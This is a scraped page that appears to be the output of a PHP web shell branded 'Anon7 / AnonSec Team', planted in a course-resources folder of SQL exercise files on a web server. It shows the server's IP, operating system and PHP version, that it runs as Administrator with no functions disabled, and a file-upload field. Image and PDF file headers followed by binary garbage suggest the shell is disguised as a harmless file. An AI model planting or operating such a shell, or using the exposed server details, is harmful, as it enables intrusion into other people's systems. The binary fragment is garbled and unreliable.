.. | |||||
aboveAvgProducts.sql | |||||
bigSalesOrder.sql | |||||
customerOrders.sql | |||||
customerPayments.sql | |||||
index.php | |||||
officeInfo.sql | |||||
organization.sql | |||||
salePerOrder.sql | |||||
v1.sql | |||||
v2.sql | |||||
v2_altered.sql | |||||
v3.sql | |||||
vps.sql |
Anon7 - 2022
AnonSec Team
GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1602/Resources/Week/13/ |
Upload File : |
.. | |||||
aboveAvgProducts.sql | |||||
bigSalesOrder.sql | |||||
customerOrders.sql | |||||
customerPayments.sql | |||||
index.php | |||||
officeInfo.sql | |||||
organization.sql | |||||
salePerOrder.sql | |||||
v1.sql | |||||
v2.sql | |||||
v2_altered.sql | |||||
v3.sql | |||||
vps.sql |